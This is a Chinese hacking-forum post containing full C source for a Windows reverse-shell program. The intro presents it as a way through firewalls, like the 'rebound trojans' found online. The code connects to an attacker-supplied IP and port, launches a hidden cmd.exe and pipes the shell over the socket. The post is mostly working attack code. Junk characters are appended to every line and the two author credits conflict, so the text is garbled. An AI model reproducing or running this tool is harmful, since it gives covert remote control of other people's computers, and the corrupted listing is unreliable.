Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 (&Kk7<#`  
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/* ============================== Drgv`z  
Rebound port in Windows NT +<Nn~1  
By wind,2006/7 >^?u .gM3  
===============================*/ 6xx<Y2@  
#include ~~/|dh5  
#include 9IdA%RM~mH  

\$~|ZwV{  
#pragma comment(lib,"wsock32.lib") $t'MSlF  
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void OutputShell(); "rALt~AX  
SOCKET sClient; })H wh).  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; D :4[~A  
1APe=tJ  
void main(int argc,char **argv) aB2FC$z  
{ GE:vp>>}`  
WSADATA stWsaData; 2. NN8PPD"  
int nRet; DZ3wCLQtK  
SOCKADDR_IN stSaiClient,stSaiServer; V# }!-Xj  
}1L4"}L.  
if(argc != 3) )Yh+c=6 ?  
{ 38Mv25N  
printf("Useage:\n\rRebound DestIP DestPort\n"); x}wG:K  
return; @muRxi  
} kr^P6}'  
^KnU4sD  
WSAStartup(MAKEWORD(2,2),&stWsaData); .O5Z8 p  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); RtkEGxw*^  
Y#ap*  
stSaiClient.sin_family = AF_INET; _P#
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stSaiClient.sin_port = htons(0); bI7Vwyz  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); z}77Eh<  
.FP$m?  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) q<x/Hat)  
{ g>E LGG|Q  
printf("Bind Socket Failed!\n"); TM_
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return; n$A9_cHF7  
} imhwY#D  
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stSaiServer.sin_family = AF_INET; 58}U^IW  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6IN e@  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); wQ:)KjhHH  
+[6G5
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /wGM#sFH
 
{ '|6]_  
printf("Connect Error!"); @(EAq<5{  
return; 1SQ3-WUs  
} h6L&\~pf  
OutputShell(); D%[mWc@1I  
} r(>@qGN  
F$y$'Rzu_B  
void OutputShell() )J o:pkM  
{
F>SRs=_  
char szBuff[1024]; Co9^OF-k  
SECURITY_ATTRIBUTES stSecurityAttributes; ;>%r9pz
~  
OSVERSIONINFO stOsversionInfo; (R,#a *CV  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @o].He@L<j  
STARTUPINFO stStartupInfo; B-RjMxX4>  
char *szShell; Y,qI@n<  
PROCESS_INFORMATION stProcessInformation; *P[hy  
unsigned long lBytesRead; +qN>.y!Y  
;}I:\P  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); '0;l]/i.  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); c8 )DuJ#U  
stSecurityAttributes.lpSecurityDescriptor = 0; +)AG*  
stSecurityAttributes.bInheritHandle = TRUE; aL\PGdgO  
C!O0xhs  
%:f&.@'r  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); R+hU8 pu  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); MVpGWTH@F  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,hDWPs2S  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4C
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stStartupInfo.wShowWindow = SW_HIDE; B6+khuG(  
stStartupInfo.hStdInput = hReadPipe; g\|PcoLm  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; R3f89  
d"
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GetVersionEx(&stOsversionInfo); 3oj' ytxN  
J/`<!$<c  
switch(stOsversionInfo.dwPlatformId) ^do9*YejX;  
{ f#>,1,S  
case 1: tH@Erh|%  
szShell = "command.com"; #Qw0&kM7I  
break; .fqN|[>  
default: 5;Czu(iH$  
szShell = "cmd.exe"; nQZx=JK  
break; +%z>H"J.  
} Hzm:xg  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >a<.mU|#  
b}$+H/V
 
send(sClient,szMsg,77,0); wq`s-qZu  
while(1) }^WdJd]P  
{ RF$eQzW  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); d UE,U=  
if(lBytesRead) .<0ye_S'y  
{ 98c(<  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =`oCLsz=  
send(sClient,szBuff,lBytesRead,0); Lz}OwKl  
} 0@0w+&*"@  
else l+K'beP  
{ wQl ,  
lBytesRead=recv(sClient,szBuff,1024,0); tPWLg),  
if(lBytesRead<=0) break; c% -Tem'#  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); jxJ8(sr$  
} caR<Kb:;*  
} ,$L4dF3  
IxN9&xa
  
return; |)th1 UH  
}